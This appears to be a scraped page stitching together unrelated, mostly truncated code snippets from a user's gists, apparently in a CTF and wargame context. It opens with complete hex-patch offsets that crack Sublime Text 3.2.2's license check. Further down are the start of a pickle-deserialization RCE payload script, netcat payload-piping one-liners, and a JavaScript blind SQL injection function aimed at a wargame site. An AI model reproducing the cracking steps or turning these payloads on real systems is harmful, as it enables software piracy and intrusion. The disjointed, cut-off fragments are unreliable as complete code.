JerryLokjianming

---

How to Crack Sublime Text 3.2.2 Build 3211 with Hex Editor (Windows | Without License) ↓

1. Download & Install Sublime Text 3.2.2 Build 3211
2. Visit https://hexed.it/
3. Open file select sublime_text.exe
4. Offset 0x8545: Original 84 -> 85
5. Offset 0x08FF19: Original 75 -> EB
6. Offset 0x1932C7: Original 75 -> 74 (remove UNREGISTERED in title bar, so no need to use a license)

spnow

#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#

import cPickle
import os
import sys

spnow

Awesome Pwnable

Meta

• awesome-ctf - A curated list of CTF frameworks, libraries, resources and softwares

Heap Exploitation

• malloc.c - malloc() implementation in glib-2.23 (as found in Ubuntu 16.04.1 LTS)
• how2heap - Awesome collection of various heap exploitation techniques

spnow

(python -c 'print "payload"'; cat -) | nc pwnable.url
(echo payload; cat) | ./pwnable

cat payload - | ./pwnable

spnow

#!/usr/bin/python

#ABDELJALIL NOUIRI
#author : [email protected]

from pwn import *


HOST = 'chall.pwnable.tw'
PORT = 10000

spnow

function pwn(params){
  var http = new XMLHttpRequest();
  var url = "/game/stats.php?action=psolve";
  http.open("POST", url, false);
  http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http.send("action=showpsolve&problem_no="+params+"-- -");
  if(http.response.indexOf("you wanna be first") == -1){ return true; }
  else return false;
}

spnow

• [+Ma's Reversing] (http://3564020356.org/)
• [2enigmatik4u] (http://2e4u.net/)
• [Amnesya.com] (http://www.amnesya.com/riddles/howtoplay.htm)
• [Brain Bashers] (http://www.brainbashers.com/)
• [Brain Den] (http://brainden.com/)
• [Braingle] (http://braingle.com/)
• [College Puzzle Challenge] (https://www.collegepuzzlechallenge.com/)
• [Crackmes.de] (http://crackmes.de/)
• [E.B.O.N.Y.] (http://ebony.extra.hu/index.html)
• [Electrica] (http://www.caesum.com/game/index.php)

spnow

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <openssl/evp.h>

// compile with: gcc -lssl find.c

spnow

#!/usr/bin/env python
# -*- coding: utf8 -*-

import re
from subprocess import call

path = "/var/log/mysql/"
log = "error.log"

logContents = ""

spnow

# BreizhCTF2015 Reverse me ! (150pts) Solution
shell python -c "print'a'*42" > /tmp/in
# cmp    dl, al
b*0x080485c7
command
set $eax=$edx
append value /tmp/flag.log $eax
c
end
r < /tmp/in